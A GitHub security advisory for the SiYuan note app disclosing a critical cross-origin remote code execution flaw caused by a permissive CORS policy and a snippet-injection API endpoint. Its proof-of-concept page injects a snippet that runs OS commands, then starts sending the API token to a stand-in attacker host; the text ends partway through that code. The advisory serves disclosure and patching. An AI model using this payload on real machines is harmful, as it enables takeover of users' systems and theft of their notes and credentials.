GitHub Security Advisory: GHSA-68p4-j234-43mv
Package: github.com/siyuan-note/siyuan/kernel (GO)
Severity: CRITICAL (CVSS 9.6)
CWE: CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains
Vulnerable versions: <= 3.6.1
Patched in: 3.6.2

Summary: SiYuan is Vulnerable to Cross-Origin RCE via Permissive CORS Policy and JavaScript Snippet Injection

Details:
### Summary

A malicious website can achieve Remote Code Execution (RCE) on any desktop running SiYuan by exploiting the permissive CORS policy (`Access-Control-Allow-Origin: *` + `Access-Control-Allow-Private-Network: true`) to inject a JavaScript snippet via the API. The injected snippet executes in Electron's Node.js context with full OS access the next time the user opens SiYuan's UI. No user interaction is required beyond visiting the malicious website while SiYuan is running.

### Details

**Vulnerable files:**
- `kernel/server/serve.go`, lines 960-963 — CORS middleware
- `kernel/api/snippet.go`, lines 93-128 — snippet injection endpoint

**Root cause:** The CORS middleware unconditionally sets:
```
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Allow-Private-Network: true
```

The `Access-Control-Allow-Private-Network: true` header explicitly opts into Chrome's Private Network Access specification, telling the browser that external websites are permitted to access this localhost service. Combined with `Access-Control-Allow-Origin: *`, any website on the internet can make authenticated cross-origin requests to the SiYuan API at `127.0.0.1:6806`.

The auth middleware at `kernel/model/session.go:251-280` checks the `Origin` header, but this check is bypassed because the browser sends the session cookie (set on `127.0.0.1`) along with the cross-origin request, and the server validates the cookie before reaching the Origin check for unauthenticated sessions.

**Attack chain:**
1. User visits `https://evil-attacker.com` while SiYuan desktop is running
2. Malicious JS sends CORS preflight to `http://127.0.0.1:6806` — SiYuan responds with permissive CORS headers
3. Browser sends actual POST to `/api/snippet/setSnippet` with the user's session cookie
4. SiYuan accepts the request and saves a malicious JS snippet
5. The snippet executes in Electron's renderer process with Node.js integration, achieving arbitrary code execution

### PoC

**Malicious webpage (hosted on any domain):**

```html
<!DOCTYPE html>
<html>
<body>
<h1>Innocent looking page</h1>
<script>
// Step 1: Inject a JS snippet that runs OS commands via Electron/Node.js
fetch('http://127.0.0.1:6806/api/snippet/setSnippet', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    snippets: [{
      id: 'exploit-' + Date.now(),
      name: 'system-update',
      type: 'js',
      content: 'require("child_process").exec("id > /tmp/siyuan-rce-proof")',
      enabled: true
    }]
  })
}).then(r => r.json()).then(d => {
  console.log('Snippet injected:', d);
});

// Step 2 (optional): Exfiltrate API token and all notes
fetch('http://127.0.0.1:6806/api/system/getConf', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'}
}).then(r => r.json()).then(d => {
  // Send API token and config to attacker server
  fetch('https://evil-attacker.com/collect', {